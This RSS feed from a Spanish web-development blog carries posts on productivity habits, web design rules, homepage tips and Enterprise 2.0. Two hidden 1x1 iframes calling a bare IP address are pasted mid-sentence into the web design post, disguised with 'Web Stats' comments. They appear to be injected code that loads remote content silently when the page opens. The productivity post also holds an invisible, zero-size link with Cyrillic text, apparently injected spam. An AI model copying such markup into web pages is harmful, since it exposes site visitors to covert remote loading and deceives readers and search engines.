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<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2spanishfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><title>CaudalWeb: blog, tecnologías, web 2.0, agile, recursos, ...</title><link>http://www.caudalweb.com/blog</link><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/caudalweb" /><description>CaudalWeb es un blog de tecnologías web: ajax, agile, web 2.0, recursos, etc.</description><language>en</language><lastBuildDate>Thu, 07 Jan 2010 14:23:32 PST</lastBuildDate><generator>http://wordpress.org/?v=2.8.4</generator><sy:updatePeriod xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">hourly</sy:updatePeriod><sy:updateFrequency xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">1</sy:updateFrequency><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/caudalweb" /><feedburner:info uri="caudalweb" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>18.88</geo:lat><geo:long>99.23</geo:long><image><link>http://www.caudalweb.com/</link><url>http://www.caudalweb.com/blog/images/caudalweb.jpg</url><title>CaudalWeb Blog</title></image><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fcaudalweb" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/caudalweb" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fcaudalweb" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fcaudalweb" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fcaudalweb" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://add.my.yahoo.com/content?lg=es&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fcaudalweb" src="http://eur.i1.yimg.com/eur.yimg.com/i/es/my/addto1.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.feedness.com/alta/http://feeds.feedburner.com/caudalweb" src="http://www.feedness.com/ayuda/wp-content/square_b_sh_feed.gif">Subscribe with Feedness</feedburner:feedFlare><feedburner:browserFriendly>CaudalWeb: blog, tecnologías, web 2.0, agile, recursos, etc.</feedburner:browserFriendly><item><title>5 hábitos para terminar un proyecto de software en tiempo record</title><link>http://feedproxy.google.com/~r/caudalweb/~3/y2IucHynvAE/</link><category>consejos</category><category>desarrollo</category><category>principios</category><category>proyectos</category><category>recomendaciones</category><category>tips</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">fireboy</dc:creator><pubDate>Mon, 31 Aug 2009 22:16:35 PDT</pubDate><guid isPermaLink="false">http://www.caudalweb.com/blog/?p=224</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Las siguientes son recomendaciones que <em></em><em><a title="Posts by Nick Parsons" href="http://webitect.net/author/nick-parsons/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/author/nick-parsons/');">Nick Parsons</a></em> propone para ser más productivo en el desarrollo de un proyecto de software.</p>
<ul>
<li><strong>Bosquejar el proyecto antes de iniciar</strong>. Este punto es muy importante, ya que nos permite tener una idea más clara del proyecto. Por ejemplo, un diseñador puede crear el modelo en hoja y papel incluso antes de tocar el equipo; a un desarrollador le permite planear el código con diagramas de flujos o esquemas.</li>
</ul>
<ul>
<li><strong>Estar a tope de la información</strong>. Muchas veces nos pasa que no podemos recordar algo, el mezclar varias tecnologías ocasiona que no recordemos las sintaxis o las confundamos. Este punto recomienda que utilicemos hojas de referencia. Lo importante es que cada quien tenga las hojas de referencia de las tecnologías de acuerdo como uno las requiera y ademas utilizarlas. Otra forma de estar a tope de la información es mantener a la mano la información que el cliente proporciona ya sea en papel o en alguna herramienta de gestión de proyectos.</li>
</ul>
<ul>
<li><strong>No empezar desde cero</strong>. Este punto recomienda el uso de plantillas o frameworks de desarrollo, ya sean creados por nosotros o por otras personas, creo que es una mejor manera de iniciar a partir de una base en lugar de invertir tiempo en hacer lo mismo para cada proyecto.</li>
</ul>
<ul>
<li><strong>Conocer bien las herramientas</strong>. La comunidad web es tan asombrosa que prácticamente para cada necesidad hay una aplicación. La parte difícil es que hay mucho para elegir, y cada vez hay nuevas versiones y nuevas herramientas. Es importante estar al tanto de las herramientas, sin tener que gastar tanto tiempo eso. Una estrategia es dedicar algún tiempo cada semana para vigilar por las nuevas herramientas y tecnologías. Otra es navegar en internet y cuando se vea algo que vale la pena añadir a nuestra colección de favoritos.</li>
</ul>
<ul>
<li><strong>No olvidarse de tomar descansos</strong>. Es importante tener en cuenta los descansos calculados; cuando uno comienza a sentir esa sensación de aburrimiento, el cuerpo nos está diciendo que es hora de tomar un descanso. Levantarse, estirarse, tomar aire fresco y luego volver hace que uno se sienta mucho mejor y se puede trabajar mucho más rápido. Un vaso de agua helada es tan asombroso para potencializar nuestra mente. Si estas trabajando eficientemente, entonces no te detengas, pero si ya perdiste el enfoque, no tienes nada que perder y si mucho que ganar. Es importante ser persistente pero no estar tan sujeto a no tomar un descanso cuando lo necesites.</li>
</ul>
<p>Redondeando, la productividad no es sólo conseguir que se haga algo rápidamente, es utilizar el tiempo de manera eficiente para producir un trabajo de calidad sin prisa. Una de las cosas más trágicas es que cuando un diseñador con talento (o desarrollador) tiene que comprometer la calidad de su trabajo y no hacerlo lo mejor posible a causa de un plazo. Mediante la adopción de estos cinco hábitos, se puede hacer más cosas en menos tiempo, y disfrutar más tiempo para uno mismo.</p>
<p>A continuación una lista de ligas recomendadas:</p>
<ul>
<li><a href="http://www.smashingmagazine.com/2006/10/30/cheat-sheet-round-up-ajax-css-latex-ruby/" onclick="javascript:pageTracker._trackPageview('/http://www.smashingmagazine.com/2006/10/30/cheat-sheet-round-up-ajax-css-latex-ruby/');">Cheat Sheet Round-Up: Ajax, CSS, LaTeX, Ruby…</a></li>
<li><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/" onclick="javascript:pageTracker._trackPageview('/http://www.videnov.com/');">&#1089;&#1090;&#1086;&#1083;&#1086;&#1074;&#1077;</a></font><a href="http://www.webdesignerdepot.com/2009/07/30-handy-cheat-sheets-and-reference-guides-for-web-professionals/" onclick="javascript:pageTracker._trackPageview('/http://www.webdesignerdepot.com/2009/07/30-handy-cheat-sheets-and-reference-guides-for-web-professionals/');">30 Handy Cheat Sheets and Reference Guides for Web Professionals</a></li>
<li><a href="http://sixrevisions.com/resources/cheat_sheets_for_web_designers/" onclick="javascript:pageTracker._trackPageview('/http://sixrevisions.com/resources/cheat_sheets_for_web_designers/');">Cheat Sheets for Web Designers</a></li>
<li><a href="http://www.catswhocode.com/blog/15-sites-web-developers-and-designers-should-know" onclick="javascript:pageTracker._trackPageview('/http://www.catswhocode.com/blog/15-sites-web-developers-and-designers-should-know');">15 Sites Web Developers and Designers Should Know</a></li>
<li><a href="http://freelancefolder.com/35-online-tools-to-make-your-freelance-career-easier/" onclick="javascript:pageTracker._trackPageview('/http://freelancefolder.com/35-online-tools-to-make-your-freelance-career-easier/');">35 Online Tools That Make Your Freelance Career Easier</a></li>
<li><a href="http://www.hrworld.com/features/100-toolboxes-for-web-workers-112907/" onclick="javascript:pageTracker._trackPageview('/http://www.hrworld.com/features/100-toolboxes-for-web-workers-112907/');">The Online Toolbox: 100+ In-Depth Resource Collections</a></li>
<li><a href="http://www.webdesignerdepot.com/2009/07/massive-compilation-of-designer-tools/" onclick="javascript:pageTracker._trackPageview('/http://www.webdesignerdepot.com/2009/07/massive-compilation-of-designer-tools/');">Massive Compilation of Designer Tools</a></li>
</ul>
<p>Ligas relacionadas:</p>
<ol>
<li><a title="Permanent Link: Web developer’s library: What you should have" rel="bookmark" href="http://webitect.net/coding/web-developers-library-what-you-should-hav/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/coding/web-developers-library-what-you-should-hav/');">Web developer’s library: What you should have</a></li>
<li><a title="Permanent Link: Predefined Variables in PHP: For complete beginners" rel="bookmark" href="http://webitect.net/coding/predefined-variables-in-php-an-overview-for-complete-beginners/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/coding/predefined-variables-in-php-an-overview-for-complete-beginners/');">Predefined Variables in PHP: For complete beginners</a></li>
<li><a title="Permanent Link: 30 jQuery Tutorials for Complete Beginners" rel="bookmark" href="http://webitect.net/coding/30-jquery-tutorials-for-complete-beginners/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/coding/30-jquery-tutorials-for-complete-beginners/');">30 jQuery Tutorials for Complete Beginners</a></li>
<li><a title="Permanent Link: 10 Ways to Find Motivation to Blog" rel="bookmark" href="http://webitect.net/blogging/10-ways-to-find-motivation-to-blog/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/blogging/10-ways-to-find-motivation-to-blog/');">10 Ways to Find Motivation to Blog</a></li>
<li><a title="Permanent Link: Conducting Collaborative Design Sessions - Part 1: Prepare" rel="bookmark" href="http://webitect.net/design/conducting-collaborative-design-sessions-part-1-prepare/" onclick="javascript:pageTracker._trackPageview('/http://webitect.net/design/conducting-collaborative-design-sessions-part-1-prepare/');">Conducting Collaborative Design Sessions &#8211; Part 1: Prepare</a></li>
</ol>
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</div>]]></content:encoded><description>Las siguientes son recomendaciones que Nick Parsons propone para ser más productivo en el desarrollo de un proyecto de software.

Bosquejar el proyecto antes de iniciar. Este punto es muy importante, ya que nos permite tener una idea más clara del proyecto. Por ejemplo, un diseñador puede crear el modelo en hoja y papel incluso antes [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.caudalweb.com/blog/5-habitos-para-terminar-un-proyecto-de-software-en-tiempo-record/feed/</wfw:commentRss><slash:comments xmlns:slash="http://purl.org/rss/1.0/modules/slash/">0</slash:comments><feedburner:origLink>http://www.caudalweb.com/blog/5-habitos-para-terminar-un-proyecto-de-software-en-tiempo-record/</feedburner:origLink></item><item><title>Las siete reglas de un diseño Web</title><link>http://feedproxy.google.com/~r/caudalweb/~3/U-f-BgDEXr4/</link><category>consejos</category><category>diseño</category><category>web</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">fireboy</dc:creator><pubDate>Sat, 21 Mar 2009 01:11:17 PDT</pubDate><guid isPermaLink="false">http://www.caudalweb.com/blog/?p=207</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>El <strong>diseño Web</strong> es un término ambiguo, pero me quedo con el desarrollo del aspecto visual que le da un sentido a la compañía o al individuo que representa. Un diseñador Web debe entender aspectos técnico y artísticos; aunque no necesariamente necesita la especialización de ambos. Hay siete reglas básicas que un diseñador web debe seguir.</p>
<ol>
<li><strong>Solo porque puedes no significa que debas</strong>.  Actualmente hay muchas tecnologías Web y no porque haya deban de utilizarse (por ejemplo Ajax, Flash, etc.); la pregunta que deberia hacerse un diseñador Web es: &#8220;&#8216; ¿La tecnología agrega valor al sitio o solo se utiliza para mostrar que hay novedad? &#8220;.</li>
<li><strong>Hay casi siempre una excepción</strong>. Un diseñador Web debe tener cuidado de excluir una tecnología Web, ya que si bien, no funciona para muchos usuario, quiza haya un grupo que lo prefiera (Por ejemplo, un logotipo animado con flash).</li>
<li><strong> El último juez es el usuario</strong>.  Opiniones durante el diseño del sitio nunca faltan (del diseñador, del jefe, del programador, etc); pero la conclusión es que el sitio debe tener sentido para el usuario, por lo tanto el sitio debe ser diseñado teniendo en mente al usuario.</li>
<li><strong>Cruzar experiencias es algo que un diseñador Web debe esforzarse.</strong> Un dieño Web profesional requiere entender las necesidades del usuario,  independientemente de los aspectos técnicos y estéticos que el sitio pueda tener.</li>
<li><strong>La humildad es el mejor enfoque.</strong> Siempre va a haber diseñadores con diseños de sitios más atractivos, por lo tanto el aprender de los demás fortalece las habilidades.</li>
<li><strong>Es imposible complacer a todos. </strong> Un diseño nunca va a dejar a todos contentos; y todo mundo tiene una<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> opinión. Sin embargo, hay una línea delgada<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> entre hacer feliz a la mayoría y tratar de crear un sitio que realmente sea eficaz en la comunicación.</li>
<li><strong>Tratar de estar en el tope de las especificaciones y estándares</strong>. Las especificaciones y estándares Web cambian constantemente, por lo tanto un diseñador Web debe tener una comprensión básica de las últimas tecnologías, las cuales afectarán el trabajo futuro.</li>
</ol>
<p>Además de las reglas básicas, un diseñador Web debería tomar en cuenta que debe haber tres factores en un sitio:</p>
<ol>
<li><strong>La estéticca</strong>. Qué tan profesional y consistente es el sitio con el negocio.</li>
<li><strong>La usabilidad</strong>.  Qué tan facil y rápido el usuario encuentra la información o ejecuta sus tareas.</li>
<li><strong>La funcionalidad</strong>. Qué tanto funciona el sitio y permite a los usuarios resolver sus problemas.</li>
</ol>
<p>De lo anterión se concluye que un sitio Web es exitoso si cumple con tres cosas: que le guste al usuario,  lo use  y le funcione.</p>
<div><a href="http://www.scrnshots.com/users/felohdez/screenshots/139453" onclick="javascript:pageTracker._trackPageview('/http://www.scrnshots.com/users/felohdez/screenshots/139453');"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/139453/tmppng_med_rect" alt="" /></a><a href="http://www.scrnshots.com/users/felohdez/screenshots/139449" onclick="javascript:pageTracker._trackPageview('/http://www.scrnshots.com/users/felohdez/screenshots/139449');"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/139449/tmppng_med_rect" /></a>
</div>
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</div>]]></content:encoded><description>El diseño Web es un término ambiguo, pero me quedo con el desarrollo del aspecto visual que le da un sentido a la compañía o al individuo que representa. Un diseñador Web debe entender aspectos técnico y artísticos; aunque no necesariamente necesita la especialización de ambos. Hay siete reglas básicas que un diseñador web debe [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.caudalweb.com/blog/las-siete-reglas-de-un-diseno-web/feed/</wfw:commentRss><slash:comments xmlns:slash="http://purl.org/rss/1.0/modules/slash/">0</slash:comments><feedburner:origLink>http://www.caudalweb.com/blog/las-siete-reglas-de-un-diseno-web/</feedburner:origLink></item><item><title>Tips de diseño de la página de inicio</title><link>http://feedproxy.google.com/~r/caudalweb/~3/greQ1VqVhqw/</link><category>consejos</category><category>diseño</category><category>tips</category><category>homepage</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">fireboy</dc:creator><pubDate>Sat, 17 Jan 2009 02:56:01 PST</pubDate><guid isPermaLink="false">http://www.caudalweb.com/blog/?p=185</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Tips para tener un buen diseño de la página inicial</p>
<ul>
<li>Descrubrir las tareas que son de alta prioridad para los usuarios</li>
<li>Proporcionar buena visibilidad para las tareas de alta prioridad</li>
<li>Lenguaje centrado en el usuario, y no al lenguaje de la compañia</li>
<li>En el esquema de navegación principal presentar primero los temas de interés del usuario,  y poner los enlaces de información sobre la compañía al final.</li>
<li>Proporcionar un camino claro para regresar a la página de inicio en el esquema de navegación, por ejemplo usando la etiqueta &#8220;Inicio&#8221;. </li>
<li>El contenido crítico debe estar sobre el despliegue de la pagina inicial</li>
<li>Distinguir claramente los <em>widgets </em>del contenido, por ejemplo, secciones principales, botones, etc.</li>
<li>No usar ventanas emergentes</li>
<li>No desplegar paginas con elementos Flash antes de permitirle a los usuarios  llegar a la página de inicio.</li>
<li>Mostrar el día y la fecha de cúando fue la última vez que se actualizó el  contenido de la página de inicio.</li>
</ul>
<p><strong>Ejemplos:</strong></p>
<p><a href="http://www.ning.com" onclick="javascript:pageTracker._trackPageview('/http://www.ning.com');" rel="nofollow" ><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/106338/tmppng_med_rect" alt="" /></a><a href="http://mx.mobile.yahoo.com" onclick="javascript:pageTracker._trackPageview('/http://mx.mobile.yahoo.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/92233/tmp_med_rect.png" alt="" /></a><a href="http://www.1024media.com" onclick="javascript:pageTracker._trackPageview('/http://www.1024media.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/96685/tmp_med_rect.png" /></a><a href="http://www.apple.com" onclick="javascript:pageTracker._trackPageview('/http://www.apple.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/106834/applejpg_med_rect" /></a><a href="http://www.awesomehighlighter.com/" onclick="javascript:pageTracker._trackPageview('/http://www.awesomehighlighter.com/');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/19854/tmp_med_rect.png" /></a><a href="http://www.kontain.com" onclick="javascript:pageTracker._trackPageview('/http://www.kontain.com');" rel="nofollow"><img src="http://s3.amazonaws.com/scrnshots.com/screenshots/106838/tmppng_med_rect" /></a></p>
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</div>]]></content:encoded><description>Tips para tener un buen diseño de la página inicial

Descrubrir las tareas que son de alta prioridad para los usuarios
Proporcionar buena visibilidad para las tareas de alta prioridad
Lenguaje centrado en el usuario, y no al lenguaje de la compañia
En el esquema de navegación principal presentar primero los temas de interés del usuario,  y poner los [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.caudalweb.com/blog/tips-de-diseno-de-la-pagina-de-inicio/feed/</wfw:commentRss><slash:comments xmlns:slash="http://purl.org/rss/1.0/modules/slash/">1</slash:comments><feedburner:origLink>http://www.caudalweb.com/blog/tips-de-diseno-de-la-pagina-de-inicio/</feedburner:origLink></item><item><title>12 pasos para hacer un sitio web exitoso</title><link>http://feedproxy.google.com/~r/caudalweb/~3/ocFnYjUmdEw/</link><category>consejos</category><category>proyectos</category><category>recomendaciones</category><category>tips</category><category>web</category><category>éxitoso</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">fireboy</dc:creator><pubDate>Wed, 10 Dec 2008 20:07:03 PST</pubDate><guid isPermaLink="false">http://www.caudalweb.com/blog/?p=176</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p class="docText">En los últimos años, hemos aprendido mucho sobre cómo hacer sitios web, sin embargo, si la meta es hacer dinero o hacer algo diferente entonces estos 12 pasos te ayudarán a lograrlo.</p>
<ol>
<li> <span><strong>Saber por qué quieres tener un sitio web</strong>. Demasiadas organizaciones construyen sitios sin saber siquiera el por qué. Hay que contestarnos las siguientes preguntas: </span><span>¿</span><span>Cómo ayudará tu sitio web a la organización? </span><span>¿</span><span>Cómo o de que manera ayudará a los visitores?.</span></li>
<li><span><strong>Construir el sitio web para el usuario</strong>. No para ti. Los usuarios llegan al sitio con un propósito en mente, y tu trabajo es ayudarles a completar su propósito. Esta es la principal lección que hay que aprender: tu sitio web es para los usuarios. Ellos llegan al sitio con un propósito en mente, entonces, tu trabajo es ayudarles a conseguirlo.</span></li>
<li><span><strong>Cumplir con una necesidad.</strong> Si quieres atraer visitores lo primero que tienes que hacer es cumplir una necesidad. </span>La necesidad más específica y la solución más efectiva,  lo que la mayoria de las personas buscan llevar a cabo.</li>
<li><span><strong>Escribir un plan</strong>. Es tan simple que a menudo es ignorado: tu deberías hacer siempre un plan &#8211; y escribirlo &#8211; antes de iniciar el trabajo en un sitio. Esto te ayuda a </span> pensar en las decisiones y la estimación de costos. Además, asegura que los miembros del equipo estén de acuerdo con lo que, exactamente, estén construyendo.</li>
<li><span><strong>Colabora</strong>.  Cada sitio exitoso es un esfuerzo de colaboración</span>, que requiere que personas de diferentes disciplinas &#8211; diseño, ingeniería, marketing- trabajen juntos. Pero el pensar de forma diferente, su trabajo diferente, y hablar lenguas muy diferentes hace que ellos pueden necesitar ayuda.</li>
<li><span><strong>Poner atención en el tráfico del sitio</strong>. Al ver lo que hacen los visitantes &#8211; de dónde proceden, en donde hacen clic, cuánto tiempo permanecen, cuando salen &#8211; se puede ver qué es lo que funciona (y qué no) en tu sitio.</span></li>
<li><span><strong>Deja a tu sitio evolucionar</strong>. Después del lanzamiento de tu sitio web, el trabajo real inicia. Hay que ver como es usado y gradualmente hacer los cambios para satisfacer mejor las necesidades de los usuarios.</span></li>
<li><span><strong>Haz tu sitio fácil de usar</strong>. Es una ecuación probado-y-comprobado. Mientras más fácil sea tu sitio web de utilizar, más personas lo usarán. Así que si quieres ganar impulso, haz tu sitio más simple y más sencillo, por ejemplo:  tomar decisiones obvias, elegir nombres claros, y seguir las convenciones de diseño que los usuarios han asumido.</span></li>
<li><span><strong>Probar, probar, probar! </strong>Es difícil predecir lo que ocurrirá cuando un sitio aparece en diferentes navegadores o es utilizado por diferentes personas. Por lo tanto, asegúrete de probar! Probar el diseño y la tecnología en los distintos sistemas. También comprobar si el sitio es usable: ¿Las personas lo entienden? </span><span>¿Pueden completar sus metas?.</span><span> </span></li>
<li><span><strong>Utilizar el email para mantenerse en contacto con los visitores</strong>.</span> Las personas visitan a tu sitio solo cuando ellas lo recuerdan. El email es la mejor forma para recordarselo. No importa que tipo de sitio tengas, el email es la mejor forma para hacer que las personas regresen. Pero recuerda: hay una linea delgada entre el recordatorio y el hostigamiento. No exageres!.</li>
<li><span><strong>Mantente concentrado (enfocado).</strong> Es fácil pensar en un mil cosas que hacer, dado todo el tiempo y los recursos. Pero, no siempre es mejor. Desde el punto de vista del usuario, un buen sitio web es un sitio Web simple, y para características adicionales sólo hay que ponernos en sus zapatos.</span></li>
<li><span><strong>Acelérarlo!</strong>. Puedes hacer todo lo demás correctamente, y aún falla. Si las páginas se cargan lentamente, mejora la velocidad de tu sitio.</span></li>
</ol>
<p><cite>Fuente: &#8220;The Unusually Useful Web Book&#8221; by June Cohen </cite>
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<div style="border: 1px solid #000; padding: 5px; margin-bottom: 15px; background: url(http://www.caudalweb.com/blog/wp-content/plugins/amazonsimpleadmin/img/amazon_US_small.gif) right bottom no-repeat #ffffff;">
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	</div>
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</div>]]></content:encoded><description>En los últimos años, hemos aprendido mucho sobre cómo hacer sitios web, sin embargo, si la meta es hacer dinero o hacer algo diferente entonces estos 12 pasos te ayudarán a lograrlo.

 Saber por qué quieres tener un sitio web. Demasiadas organizaciones construyen sitios sin saber siquiera el por qué. Hay que contestarnos las siguientes [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.caudalweb.com/blog/12-pasos-para-hacer-un-sitio-web-exitoso/feed/</wfw:commentRss><slash:comments xmlns:slash="http://purl.org/rss/1.0/modules/slash/">0</slash:comments><feedburner:origLink>http://www.caudalweb.com/blog/12-pasos-para-hacer-un-sitio-web-exitoso/</feedburner:origLink></item><item><title>7 sugerencias para implementar Enterprise 2.0</title><link>http://feedproxy.google.com/~r/caudalweb/~3/dAO2kBiPRZE/</link><category>recomendaciones</category><category>tecnologías</category><category>enterprise 2.0</category><category>sugerencias</category><category>web 2.0</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">fireboy</dc:creator><pubDate>Tue, 02 Dec 2008 22:24:47 PST</pubDate><guid isPermaLink="false">http://www.caudalweb.com/blog/?p=167</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>¿Qué es <strong>Enterprise 2.0 </strong>?</p>
<div class="wp-caption alignleft" style="width: 160px"><img src="http://www.socialcomputingmagazine.com/columnpic/real_world_e2.jpg" alt="Enterprise 2.0" width="150" height="150" /><p class="wp-caption-text"> </p></div>
<p>&#8220;Según <a title="http://blog.hbs.edu/faculty/amcafee" rel="nofollow" href="http://blog.hbs.edu/faculty/amcafee" onclick="javascript:pageTracker._trackPageview('/http://blog.hbs.edu/faculty/amcafee');">Andrew McAfee</a>, académico de la <a title="Harvard" rel="nofollow" href="http://es.wikipedia.org/wiki/Harvard" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Harvard');">Universidad de Harvard</a>, <em>Enterprise 2.0 es la utilización de <a title="Plataformas" rel="nofollow" href="http://es.wikipedia.org/wiki/Plataformas" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Plataformas');">plataformas</a> de <a title="Software social" href="http://es.wikipedia.org/wiki/Software_social" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Software_social');">software social</a> <a title="Emergencia" rel="nofollow" href="http://es.wikipedia.org/wiki/Emergencia" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Emergencia');">emergente</a> dentro de las empresas, o entre empresas, sus socios y clientes</em>. Esto significa que, tal como los usuarios de las aplicaciones <a title="Web 2.0" rel="nofollow" href="http://es.wikipedia.org/wiki/Web_2.0" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Web_2.0');">web 2.0</a> más utilizadas (<a title="Flickr" rel="nofollow" href="http://es.wikipedia.org/wiki/Flickr" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Flickr');">Flickr</a>, <a title="Del.icio.us" rel="nofollow" href="http://es.wikipedia.org/wiki/Del.icio.us" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Del.icio.us');">del.icio.us</a>, <a title="Google" rel="nofollow" href="http://es.wikipedia.org/wiki/Google" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Google');">Google</a>, <a title="Wikipedia" rel="nofollow" href="http://es.wikipedia.org/wiki/Wikipedia" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Wikipedia');">Wikipedia</a>, etc.) hacen uso de estas herramientas para crear contenido y formar comunidades sin requerir de un alto grado de conocimientos técnicos, esta misma capacidad puede trasladarse a una organización&#8230;&#8221;</p>
<p><em>Fuente <a title="Wikipedia.es" rel="nofollow" href="http://es.wikipedia.org/wiki/Enterprise_2.0" onclick="javascript:pageTracker._trackPageview('/http://es.wikipedia.org/wiki/Enterprise_2.0');"> Wikipedia.es</a></em></p>
<div>
<p>¿Qué deberíamos hacer para implementar <strong>Enterprise 2.0 </strong>?</p>
<p>Estas son algunas sugerencias&#8230;</p>
<ol>
<li><strong>No tener miedo a experimentar</strong>.  La innovación está impulsada por un espíritu de experimentación. Tenemos mucho que ganar intentando algunas ideas diferentes.</li>
<li><strong>Tomar un enfoque &#8220;save-fail&#8221;</strong>. Los proyectos de las empresas son muy conservadores, se desplazan mucho más lentamente que el resto del mundo. Para aumentar el ritmo del cambio, tenemos que tener un enfoque &#8220;save-fail&#8221;,  lo que permite que una serie de ideas sean juzgadas con la expectativa de que algunas (tal vez más) fallarán. La clave de estos fracasos es fortalecer la estrategia, no debilitarla.</li>
<li><strong>Tener un propósito claro</strong>. Enterprise 2.0 es sólo el medio para llegar a un fin. Tenemos que tener claro que las metas del negocio y los beneficios del usuario final deben conducir nuestros proyectos, más allá de las ideas difusas de «conocimientos» o «la creación de una cultura de colaboración».</li>
<li><strong>Tomarlo en serio</strong>. Tenemos que hacer todo lo posible para que estos nuevos enfoques surtan efecto, incluyendo la creación de herramientas, y el establecimiento de una buena comunicación, marketing, capacitación y soporte.</li>
<li><strong>Hacerlo que funcione ahora</strong>. Nuestros proyectos no puede planearse para el futuro. Si el usuario final no hace uso de nuestras soluciones en el corto plazo, mucho menos habrá un largo plazo (para nosotros o nuestros proyectos).</li>
<li><strong>Corresponderlo a la cultura</strong>. La tecnología puede, en cierta medida, cambiar la cultura de una organización. Más realista, sin embargo, nuestros proyectos debe coincidir con la actual cultura de dar las mejores posibilidades de éxito. No debemos estar tratando de implementar soluciones para las cuales el personal o la organización en su conjunto no están listos.</li>
<li><strong>Construir sobre las experiencias de los demas</strong>. Los primeros adoptantes han trazado al menos algunos de los senderos hacia el futuro, y debemos construir sobre sus experiencias. Esto nos permite evitar &#8220;reinventar la rueda&#8221;.</li>
</ol>
<p><em>Fuente: <a title="Implementing Enterprise 2.0 In The Real World" href="http://www.socialcomputingmagazine.com/viewcolumn.cfm?colid=630" onclick="javascript:pageTracker._trackPageview('/http://www.socialcomputingmagazine.com/viewcolumn.cfm?colid=630');">Social Computing Magazine</a></em></div>
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</div>]]></content:encoded><description>¿Qué es Enterprise 2.0 ?
&amp;#8220;Según Andrew McAfee, académico de la Universidad de Harvard, Enterprise 2.0 es la utilización de plataformas de software social emergente dentro de las empresas, o entre empresas, sus socios y clientes. Esto significa que, tal como los usuarios de las aplicaciones web 2.0 más utilizadas (Flickr, del.icio.us, Google, Wikipedia, etc.) hacen [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.caudalweb.com/blog/7-sugerencias-para-implementar-enterprise-20/feed/</wfw:commentRss><slash:comments xmlns:slash="http://purl.org/rss/1.0/modules/slash/">0</slash:comments><feedburner:origLink>http://www.caudalweb.com/blog/7-sugerencias-para-implementar-enterprise-20/</feedburner:origLink></item></channel></rss>
